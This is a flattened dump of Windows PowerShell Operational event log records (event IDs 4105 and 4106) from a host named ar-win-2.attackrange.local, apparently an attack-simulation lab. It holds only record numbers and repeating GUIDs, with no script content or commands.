410615103150x0669015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 